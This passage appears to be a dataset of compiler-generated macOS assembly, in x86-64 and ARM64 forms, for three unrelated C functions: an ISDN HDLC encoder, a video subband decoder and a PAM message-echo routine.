xorl %edx, %edx LBB0_6: movq _HDLC_FLAG_VALUE@GOTPCREL(%rip), %rax movl (%rax), %r14d movl %r14d, %esi andl $2, %esi shll $6, %esi movl %r14d, %edi andl $12, %edi movq (%rbx), %rcx movd %r14d, %xmm0 pshufd $0, %xmm0, %xmm0 ## xmm0 = xmm0[0,0,0,0] pand LCPI0_0(%rip), %xmm0 pxor %xmm1, %xmm1 pcmpeqd %xmm0, %xmm1 movmskps %xmm1, %eax xorl %r8d, %r8d testb $4, %al sete %r8b shll $6, %r8d addl %r8d, %esi addl $56, %esi shrl $3, %esi leal (%rsi,%rdi,8), %r8d leal (%rsi,%rdi,8), %r15d addl $128, %r15d testb $8, %al cmovnel %r8d, %r15d shrl %r15d orl $128, %r15d movl %r15d, 4(%rcx) shrl %r15d movl %r15d, %ecx andl $126, %ecx orl $128, %r15d testb $1, %al cmovnel %ecx, %r15d shrl %r15d movl %r15d, %ecx andl $64, %ecx orl $128, %r15d testb $2, %al cmovnel %ecx, %r15d movq 40(%rbx), %rdi movq _L1_DEB_HSCX@GOTPCREL(%rip), %rax movl (%rax), %eax testl %eax, (%rdi) je LBB0_8 ## %bb.7: leaq L_.str.1(%rip), %rsi movl $2, %ecx movl $3, %r8d xorl %eax, %eax callq _debugl1 LBB0_8: shrl $6, %r15d shrl $5, %r14d andl $4, %r14d orl %r15d, %r14d orl $248, %r14d movq (%rbx), %rax movl %r14d, 8(%rax) movl $255, 12(%rax) movq $4, 8(%rbx) movq 24(%rbx), %rcx movl (%rcx), %ecx subl %ecx, 32(%rbx) movq %rax, 16(%rbx) xorl %eax, %eax LBB0_9: addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "tiger make_raw_56k: NULL skb" .comm _HDLC_FLAG_VALUE,4,2 ## @HDLC_FLAG_VALUE .comm _PPP_INITFCS,8,3 ## @PPP_INITFCS .comm _MAKE_RAW_BYTE_56K,4,2 ## @MAKE_RAW_BYTE_56K .comm _L1_DEB_HSCX,4,2 ## @L1_DEB_HSCX L_.str.1: ## @.str.1 .asciz "tiger make_raw_56k: in %ld out %d.%d" .no_dead_strip _make_raw_data_56k .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function make_raw_data_56k _make_raw_data_56k: ; @make_raw_data_56k .cfi_startproc ; %bb.0: sub sp, sp, #80 stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 ldr x9, [x0, #24] cbz x9, LBB0_7 ; %bb.1: ldr x8, [x19] mov w10, #255 ; =0xff str w10, [x8] ldr x8, [x9] cbz x8, LBB0_4 ; %bb.2: mov x20, #0 ; =0x0 Lloh0: adrp x8, _PPP_INITFCS@GOTPAGE Lloh1: ldr x8, [x8, _PPP_INITFCS@GOTPAGEOFF] Lloh2: ldr x0, [x8] LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x8, [x9, #8] ldr w1, [x8, x20, lsl #2] bl _PPP_FCS add x20, x20, #1 ldr x9, [x19, #24] ldr x8, [x9] cmp x20, x8 b.lo LBB0_3 LBB0_4: Lloh3: adrp x9, _HDLC_FLAG_VALUE@GOTPAGE Lloh4: ldr x9, [x9, _HDLC_FLAG_VALUE@GOTPAGEOFF] Lloh5: ldr w20, [x9] lsr w9, w20, #2 lsr w10, w20, #1 tst w20, #0x1 mov w11, #120 ; =0x78 mov w12, #56 ; =0x38 csel w11, w12, w11, eq bfi w11, w10, #7, #1 lsr w10, w11, #3 bfi w10, w9, #5, #2 orr w9, w10, #0x80 tst w20, #0x10 csel w9, w10, w9, eq lsr w9, w9, #1 orr w9, w9, #0x80 ldr x10, [x19] str w9, [x10, #4] lsr w9, w9, #1 and w10, w9, #0x7e orr w9, w9, #0x80 tst w20, #0x20 csel w9, w10, w9, eq lsr w9, w9, #1 and w10, w9, #0x40 orr w9, w9, #0x80 tst w20, #0x40 csel w21, w10, w9, eq ldr x0, [x19, #40] ldr w9, [x0] Lloh6: adrp x10, _L1_DEB_HSCX@GOTPAGE Lloh7: ldr x10, [x10, _L1_DEB_HSCX@GOTPAGEOFF] Lloh8: ldr w10, [x10] tst w10, w9 b.eq LBB0_6 ; %bb.5: mov w9, #3 ; =0x3 str x9, [sp, #16] mov w9, #2 ; =0x2 stp x8, x9, [sp] Lloh9: adrp x1, l_.str.1@PAGE Lloh10: add x1, x1, l_.str.1@PAGEOFF bl _debugl1 LBB0_6: mov w0, #0 ; =0x0 lsr w8, w20, #5 and w8, w8, #0x4 orr w8, w8, w21, lsr #6 orr w8, w8, #0xf8 ldr x9, [x19] mov w10, #255 ; =0xff stp w8, w10, [x9, #8] ldr x8, [x19, #24] ldr w8, [x8] ldr w10, [x19, #32] sub w8, w10, w8 str w8, [x19, #32] mov w8, #4 ; =0x4 stp x8, x9, [x19, #8] b LBB0_8 LBB0_7: ldr x0, [x19, #40] Lloh11: adrp x1, l_.str@PAGE Lloh12: add x1, x1, l_.str@PAGEOFF bl _debugl1 mov w0, #1 ; =0x1 LBB0_8: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload add sp, sp, #80 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpAdd Lloh11, Lloh12 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "tiger make_raw_56k: NULL skb" .comm _HDLC_FLAG_VALUE,4,2 ; @HDLC_FLAG_VALUE .comm _PPP_INITFCS,8,3 ; @PPP_INITFCS .comm _MAKE_RAW_BYTE_56K,4,2 ; @MAKE_RAW_BYTE_56K .comm _L1_DEB_HSCX,4,2 ; @L1_DEB_HSCX l_.str.1: ; @.str.1 .asciz "tiger make_raw_56k: in %ld out %d.%d" .no_dead_strip _make_raw_data_56k .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function decode_subband_slice_buffered _decode_subband_slice_buffered: ## @decode_subband_slice_buffered .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r9, -64(%rbp) ## 8-byte Spill movl %r8d, -48(%rbp) ## 4-byte Spill movl %ecx, -44(%rbp) ## 4-byte Spill movq %rdx, -80(%rbp) ## 8-byte Spill movq %rsi, %r12 movq %rdi, %r15 movl 40(%rsi), %edi addl 16(%r15), %edi movl (%rsi), %r13d movq _QROOT@GOTPCREL(%rip), %rbx movl (%rbx), %edx shll $4, %edx xorl %r14d, %r14d xorl %esi, %esi callq _av_clip movq %r15, %rsi movq _ff_qexp@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq (%rbx), %rdx decq %rdx cltq andq %rax, %rdx movl (%rcx,%rdx,4), %ebx movq _QSHIFT@GOTPCREL(%rip), %rcx movzbl (%rcx), %ecx sarl %cl, %eax movl %eax, %ecx shll %cl, %ebx movl (%r15), %r15d imull %ebx, %r15d movq _QBIAS_SHIFT@GOTPCREL(%rip), %rax movzbl (%rax), %ecx sarl %cl, %r15d movq %r12, -72(%rbp) ## 8-byte Spill movq 8(%r12), %rax cmpq 8(%rsi), %rax jne LBB0_3 ## %bb.1: movl 16(%rsi), %eax movq _LOSSLESS_QLOG@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_3 ## %bb.2: movq _QEXPSHIFT@GOTPCREL(%rip), %rax movzbl (%rax), %ecx movl $1, %ebx shll %cl, %ebx xorl %r15d, %r15d LBB0_3: movl -44(%rbp), %ecx ## 4-byte Reload testl %ecx, %ecx movq -64(%rbp), %rax ## 8-byte Reload je LBB0_5 ## %bb.4: movl (%rax), %r14d LBB0_5: cmpl -48(%rbp), %ecx ## 4-byte Folded Reload jge LBB0_11 ## %bb.6: movl %r13d, -52(%rbp) ## 4-byte Spill jmp LBB0_7 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_7 Depth=1 movl -44(%rbp), %ecx ## 4-byte Reload decl %ecx LBB0_7: ## =>This Loop Header: Depth=1 ## Child Loop BB0_9 Depth 2 movq -72(%rbp), %r13 ## 8-byte Reload movslq 16(%r13), %rax movl %ecx, -44(%rbp) ## 4-byte Spill movslq %ecx, %rsi imulq %rax, %rsi addq 32(%r13), %rsi movq -80(%rbp), %rdi ## 8-byte Reload callq _slice_buffer_get_line movslq 20(%r13), %rcx leaq (%rax,%rcx,4), %r12 movl (%r13), %edx shll $2, %edx movq %r12, %rdi xorl %esi, %esi callq _memset movq 24(%r13), %rdx movl -52(%rbp), %r13d ## 4-byte Reload movslq %r14d, %rcx movl 4(%rdx,%rcx,8), %eax leal 1(%rcx), %r14d cmpl %r13d, %eax jge LBB0_10 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 leaq (%rdx,%rcx,8), %rcx movslq %r14d, %rsi leaq (%rdx,%rsi,8), %rdx movq _QEXPSHIFT@GOTPCREL(%rip), %r8 .p2align 4, 0x90 LBB0_9: ## Parent Loop BB0_7 Depth=1 ## => This Inner Loop Header: Depth=2 movl (%rcx), %esi movl %esi, %edi sarl %edi imull %ebx, %edi addl %r15d, %edi movzbl (%r8), %ecx sarl %cl, %edi andl $1, %esi movl %esi, %ecx negl %ecx xorl %edi, %ecx addl %esi, %ecx cltq movl %ecx, (%r12,%rax,4) movl 4(%rdx), %eax movq %rdx, %rcx addq $8, %rdx incl %r14d cmpl %r13d, %eax jl LBB0_9 jmp LBB0_10 LBB0_11: movl %r14d, (%rax) addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _QROOT,4,2 ## @QROOT .comm _ff_qexp,8,3 ## @ff_qexp .comm _QSHIFT,4,2 ## @QSHIFT .comm _QBIAS_SHIFT,4,2 ## @QBIAS_SHIFT .comm _LOSSLESS_QLOG,4,2 ## @LOSSLESS_QLOG .comm _QEXPSHIFT,4,2 ## @QEXPSHIFT .no_dead_strip _decode_subband_slice_buffered .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function decode_subband_slice_buffered _decode_subband_slice_buffered: ; @decode_subband_slice_buffered .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x22, x5 mov x23, x4 mov x19, x3 mov x20, x2 mov x21, x1 mov x24, x0 ldr w25, [x1] ldr w8, [x0, #16] ldr w9, [x1, #40] Lloh0: adrp x26, _QROOT@GOTPAGE Lloh1: ldr x26, [x26, _QROOT@GOTPAGEOFF] ldr w10, [x26] lsl w2, w10, #4 add w0, w9, w8 mov w1, #0 ; =0x0 bl _av_clip Lloh2: adrp x8, _ff_qexp@GOTPAGE Lloh3: ldr x8, [x8, _ff_qexp@GOTPAGEOFF] Lloh4: ldr x8, [x8] ldr w9, [x26] sub w9, w9, #1 and w9, w9, w0 ldr w8, [x8, w9, sxtw #2] Lloh5: adrp x9, _QSHIFT@GOTPAGE Lloh6: ldr x9, [x9, _QSHIFT@GOTPAGEOFF] Lloh7: ldr w9, [x9] asr w9, w0, w9 lsl w26, w8, w9 ldr w8, [x24] Lloh8: adrp x9, _QBIAS_SHIFT@GOTPAGE Lloh9: ldr x9, [x9, _QBIAS_SHIFT@GOTPAGEOFF] mul w8, w26, w8 Lloh10: ldr w9, [x9] asr w27, w8, w9 ldr x8, [x21, #8] ldr x9, [x24, #8] cmp x8, x9 b.ne LBB0_3 ; %bb.1: ldr w8, [x24, #16] Lloh11: adrp x9, _LOSSLESS_QLOG@GOTPAGE Lloh12: ldr x9, [x9, _LOSSLESS_QLOG@GOTPAGEOFF] Lloh13: ldr w9, [x9] cmp w8, w9 b.ne LBB0_3 ; %bb.2: mov w27, #0 ; =0x0 Lloh14: adrp x8, _QEXPSHIFT@GOTPAGE Lloh15: ldr x8, [x8, _QEXPSHIFT@GOTPAGEOFF] Lloh16: ldr w8, [x8] mov w9, #1 ; =0x1 lsl w26, w9, w8 LBB0_3: cbz w19, LBB0_10 ; %bb.4: ldr w24, [x22] cmp w19, w23 b.ge LBB0_11 LBB0_5: Lloh17: adrp x23, _QEXPSHIFT@GOTPAGE Lloh18: ldr x23, [x23, _QEXPSHIFT@GOTPAGEOFF] b LBB0_7 LBB0_6: ; in Loop: Header=BB0_7 Depth=1 sub w19, w19, #1 LBB0_7: ; =>This Loop Header: Depth=1 ; Child Loop BB0_9 Depth 2 ldrsw x8, [x21, #16] ldr x9, [x21, #32] smaddl x1, w8, w19, x9 mov x0, x20 bl _slice_buffer_get_line ldrsw x8, [x21, #20] add x22, x0, x8, lsl #2 ldr w8, [x21] lsl w2, w8, #2 mov x0, x22 mov w1, #0 ; =0x0 bl _memset ldr x9, [x21, #24] add x10, x9, w24, sxtw #3 ldr w8, [x10, #4] add w24, w24, #1 cmp w8, w25 b.ge LBB0_6 ; %bb.8: ; in Loop: Header=BB0_7 Depth=1 add x9, x9, w24, sxtw #3 LBB0_9: ; Parent Loop BB0_7 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w10, [x10] asr w11, w10, #1 madd w11, w11, w26, w27 ldr w12, [x23] asr w11, w11, w12 and w10, w10, #0x1 neg w12, w10 eor w11, w11, w12 add w10, w11, w10 str w10, [x22, w8, sxtw #2] ldr w8, [x9, #4] mov x10, x9 add x9, x9, #8 add w24, w24, #1 cmp w8, w25 b.lt LBB0_9 b LBB0_6 LBB0_10: mov w24, #0 ; =0x0 cmp w19, w23 b.lt LBB0_5 LBB0_11: str w24, [x22] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGot Lloh17, Lloh18 .cfi_endproc ; -- End function .comm _QROOT,4,2 ; @QROOT .comm _ff_qexp,8,3 ; @ff_qexp .comm _QSHIFT,4,2 ; @QSHIFT .comm _QBIAS_SHIFT,4,2 ; @QBIAS_SHIFT .comm _LOSSLESS_QLOG,4,2 ; @LOSSLESS_QLOG .comm _QEXPSHIFT,4,2 ; @QEXPSHIFT .no_dead_strip _decode_subband_slice_buffered .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function _pam_echo __pam_echo: ## @_pam_echo .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, %r14 movl %edx, %r13d movl %esi, %r15d movq %rdi, %rbx movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq _PAM_MAX_MSG_SIZE@GOTPCREL(%rip), %rax movl (%rax), %r12d movq %r12, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %rdx movq _PAM_SILENT@GOTPCREL(%rip), %rax orl (%rax), %r15d je LBB0_2 ## %bb.1: movq _PAM_SUCCESS@GOTPCREL(%rip), %rax movl (%rax), %eax jmp LBB0_38 LBB0_2: movq %r12, -56(%rbp) ## 8-byte Spill movq %rbx, -64(%rbp) ## 8-byte Spill testl %r13d, %r13d jle LBB0_36 ## %bb.3: movq %r14, -80(%rbp) ## 8-byte Spill movq -56(%rbp), %rax ## 8-byte Reload leaq -1(%rax), %r14 movl %r13d, %eax movq %rax, -72(%rbp) ## 8-byte Spill xorl %ecx, %ecx movq _PAM_SERVICE@GOTPCREL(%rip), %r13 leaq LJTI0_0(%rip), %r9 xorl %r12d, %r12d .p2align 4, 0x90 LBB0_4: ## =>This Loop Header: Depth=1 ## Child Loop BB0_8 Depth 2 testq %rcx, %rcx je LBB0_6 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 movb $32, (%rdx,%r12) incq %r12 LBB0_6: ## in Loop: Header=BB0_4 Depth=1 movq -80(%rbp), %rax ## 8-byte Reload movq %rcx, -88(%rbp) ## 8-byte Spill movq (%rax,%rcx,8), %rcx movzbl (%rcx), %eax testb %al, %al je LBB0_34 .p2align 4, 0x90 ## %bb.7: ## in Loop: Header=BB0_4 Depth=1 cmpq %r14, %r12 jae LBB0_34 LBB0_8: ## Parent Loop BB0_4 Depth=1 ## => This Inner Loop Header: Depth=2 cmpb $37, %al jne LBB0_14 ## %bb.9: ## in Loop: Header=BB0_8 Depth=2 leaq 1(%rcx), %rbx movzbl 1(%rcx), %r10d movzbl %r10b, %esi leal -72(%rsi), %edi cmpl $45, %edi ja LBB0_12 ## %bb.10: ## in Loop: Header=BB0_8 Depth=2 movslq (%r9,%rdi,4), %rcx addq %r9, %rcx movq %r13, %rax jmpq *%rcx LBB0_11: ## in Loop: Header=BB0_8 Depth=2 movq _PAM_RUSER@GOTPCREL(%rip), %rax jmp LBB0_19 LBB0_12: ## in Loop: Header=BB0_8 Depth=2 testl %esi, %esi je LBB0_14 LBB0_13: ## in Loop: Header=BB0_8 Depth=2 movl %r10d, %eax movq %rbx, %rcx .p2align 4, 0x90 LBB0_14: ## in Loop: Header=BB0_8 Depth=2 movb %al, (%rdx,%r12) incq %r12 movq %rcx, %rbx LBB0_15: ## in Loop: Header=BB0_8 Depth=2 movzbl 1(%rbx), %eax testb %al, %al je LBB0_34 ## %bb.16: ## in Loop: Header=BB0_8 Depth=2 incq %rbx movq %rbx, %rcx cmpq %r14, %r12 jb LBB0_8 jmp LBB0_34 LBB0_17: ## in Loop: Header=BB0_8 Depth=2 movq _PAM_USER@GOTPCREL(%rip), %rax jmp LBB0_19 LBB0_18: ## in Loop: Header=BB0_8 Depth=2 movq _PAM_TTY@GOTPCREL(%rip), %rax LBB0_19: ## in Loop: Header=BB0_8 Depth=2 movl (%rax), %esi cmpl $-1, %esi je LBB0_15 ## %bb.20: ## in Loop: Header=BB0_8 Depth=2 movq %rdx, %r15 movq -64(%rbp), %rdi ## 8-byte Reload leaq -96(%rbp), %rdx callq _pam_get_item movq _PAM_SUCCESS@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_38 ## %bb.21: ## in Loop: Header=BB0_8 Depth=2 leaq L_.str(%rip), %rax movq %rax, -96(%rbp) cmpq %r14, %r12 jae LBB0_28 ## %bb.22: ## in Loop: Header=BB0_8 Depth=2 leaq 1(%r12), %rax movq %r15, %rdx movb $40, (%r15,%r12) cmpq %r14, %rax jae LBB0_29 ## %bb.23: ## in Loop: Header=BB0_8 Depth=2 leaq 2(%r12), %rax movb $110, 1(%rdx,%r12) cmpq %r14, %rax leaq LJTI0_0(%rip), %r9 jae LBB0_30 ## %bb.24: ## in Loop: Header=BB0_8 Depth=2 leaq 3(%r12), %rax movb $117, 2(%rdx,%r12) cmpq %r14, %rax jae LBB0_30 ## %bb.25: ## in Loop: Header=BB0_8 Depth=2 leaq 4(%r12), %rax movb $108, 3(%rdx,%r12) cmpq %r14, %rax jae LBB0_30 ## %bb.26: ## in Loop: Header=BB0_8 Depth=2 leaq 5(%r12), %rax movb $108, 4(%rdx,%r12) cmpq %r14, %rax jae LBB0_30 ## %bb.27: ## in Loop: Header=BB0_8 Depth=2 movb $41, 5(%rdx,%r12) addq $6, %r12 jmp LBB0_15 LBB0_28: ## in Loop: Header=BB0_8 Depth=2 leaq LJTI0_0(%rip), %r9 movq %r15, %rdx jmp LBB0_15 LBB0_29: ## in Loop: Header=BB0_8 Depth=2 movq %rax, %r12 leaq LJTI0_0(%rip), %r9 jmp LBB0_15 LBB0_30: ## in Loop: Header=BB0_8 Depth=2 movq %rax, %r12 jmp LBB0_15 .p2align 4, 0x90 LBB0_34: ## in Loop: Header=BB0_4 Depth=1 movq -88(%rbp), %rcx ## 8-byte Reload incq %rcx cmpq -72(%rbp), %rcx ## 8-byte Folded Reload jae LBB0_37 ## %bb.35: ## in Loop: Header=BB0_4 Depth=1 cmpq -56(%rbp), %r12 ## 8-byte Folded Reload jbe LBB0_4 jmp LBB0_37 LBB0_36: xorl %r12d, %r12d LBB0_37: movb $0, (%rdx,%r12) leaq L_.str.1(%rip), %rsi movq -64(%rbp), %rdi ## 8-byte Reload callq _pam_info LBB0_38: movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -48(%rbp), %rcx jne LBB0_40 ## %bb.39: leaq -40(%rbp), %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_40: callq ___stack_chk_fail .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_15, LBB0_15-LJTI0_0 .set L0_0_set_13, LBB0_13-LJTI0_0 .set L0_0_set_11, LBB0_11-LJTI0_0 .set L0_0_set_19, LBB0_19-LJTI0_0 .set L0_0_set_18, LBB0_18-LJTI0_0 .set L0_0_set_17, LBB0_17-LJTI0_0 LJTI0_0: .long L0_0_set_15 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_11 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_15 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_13 .long L0_0_set_19 .long L0_0_set_18 .long L0_0_set_17 .end_data_region ## -- End function .comm _PAM_MAX_MSG_SIZE,4,2 ## @PAM_MAX_MSG_SIZE .comm _PAM_SILENT,4,2 ## @PAM_SILENT .comm _PAM_SUCCESS,4,2 ## @PAM_SUCCESS .comm _PAM_RHOST,4,2 ## @PAM_RHOST .comm _PAM_SERVICE,4,2 ## @PAM_SERVICE .comm _PAM_TTY,4,2 ## @PAM_TTY .comm _PAM_RUSER,4,2 ## @PAM_RUSER .comm _PAM_USER,4,2 ## @PAM_USER .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "(null)" L_.str.1: ## @.str.1 .asciz "%s" .no_dead_strip __pam_echo .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function _pam_echo __pam_echo: ; @_pam_echo .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 sub sp, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x21, x3 mov x19, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-88] Lloh3: adrp x8, _PAM_MAX_MSG_SIZE@GOTPAGE Lloh4: ldr x8, [x8, _PAM_MAX_MSG_SIZE@GOTPAGEOFF] Lloh5: ldr w22, [x8] mov x9, x22 Lloh6: adrp x16, ___chkstk_darwin@GOTPAGE Lloh7: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x8, sp add x9, x22, #15 and x9, x9, #0x1fffffff0 sub x20, x8, x9 mov sp, x20 Lloh8: adrp x8, _PAM_SILENT@GOTPAGE Lloh9: ldr x8, [x8, _PAM_SILENT@GOTPAGEOFF] Lloh10: ldr w8, [x8] orr w8, w8, w1 cbz w8, LBB0_2 ; %bb.1: Lloh11: adrp x8, _PAM_SUCCESS@GOTPAGE Lloh12: ldr x8, [x8, _PAM_SUCCESS@GOTPAGEOFF] Lloh13: ldr w0, [x8] b LBB0_40 LBB0_2: cmp w2, #1 b.lt LBB0_38 ; %bb.3: mov x23, #0 ; =0x0 mov x25, #0 ; =0x0 sub x24, x22, #1 Lloh14: adrp x28, _PAM_SUCCESS@GOTPAGE Lloh15: ldr x28, [x28, _PAM_SUCCESS@GOTPAGEOFF] mov w8, w2 stur x8, [x29, #-104] ; 8-byte Folded Spill Lloh16: adrp x26, l_.str@PAGE Lloh17: add x26, x26, l_.str@PAGEOFF LBB0_4: ; =>This Loop Header: Depth=1 ; Child Loop BB0_12 Depth 2 cbz x23, LBB0_6 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 mov w8, #32 ; =0x20 strb w8, [x20, x25] add x25, x25, #1 LBB0_6: ; in Loop: Header=BB0_4 Depth=1 ldr x10, [x21, x23, lsl #3] ldrb w9, [x10] cmp w9, #0 ccmp x25, x24, #2, ne b.lo LBB0_12 LBB0_7: ; in Loop: Header=BB0_4 Depth=1 add x23, x23, #1 ldur x8, [x29, #-104] ; 8-byte Folded Reload cmp x23, x8 b.hs LBB0_39 ; %bb.8: ; in Loop: Header=BB0_4 Depth=1 cmp x25, x22 b.ls LBB0_4 b LBB0_39 LBB0_9: ; in Loop: Header=BB0_12 Depth=2 mov w12, #1 ; =0x1 mov x11, x25 mov x8, x9 mov x27, x10 LBB0_10: ; in Loop: Header=BB0_12 Depth=2 add x25, x25, x12 strb w8, [x20, x11] LBB0_11: ; in Loop: Header=BB0_12 Depth=2 ldrb w9, [x27, #1]! cmp w9, #0 ccmp x25, x24, #2, ne mov x10, x27 b.hs LBB0_7 LBB0_12: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 cmp w9, #37 b.ne LBB0_9 ; %bb.13: ; in Loop: Header=BB0_12 Depth=2 mov x27, x10 ldrb w8, [x27, #1]! cmp w8, #103 b.le LBB0_17 ; %bb.14: ; in Loop: Header=BB0_12 Depth=2 cmp w8, #115 b.gt LBB0_21 ; %bb.15: ; in Loop: Header=BB0_12 Depth=2 cmp w8, #104 b.eq LBB0_11 ; %bb.16: ; in Loop: Header=BB0_12 Depth=2 Lloh18: adrp x9, _PAM_SERVICE@GOTPAGE Lloh19: ldr x9, [x9, _PAM_SERVICE@GOTPAGEOFF] cmp w8, #115 b.eq LBB0_26 b LBB0_24 LBB0_17: ; in Loop: Header=BB0_12 Depth=2 cbz w8, LBB0_9 ; %bb.18: ; in Loop: Header=BB0_12 Depth=2 cmp w8, #72 b.eq LBB0_11 ; %bb.19: ; in Loop: Header=BB0_12 Depth=2 cmp w8, #85 b.ne LBB0_24 ; %bb.20: ; in Loop: Header=BB0_12 Depth=2 Lloh20: adrp x9, _PAM_RUSER@GOTPAGE Lloh21: ldr x9, [x9, _PAM_RUSER@GOTPAGEOFF] b LBB0_26 LBB0_21: ; in Loop: Header=BB0_12 Depth=2 cmp w8, #117 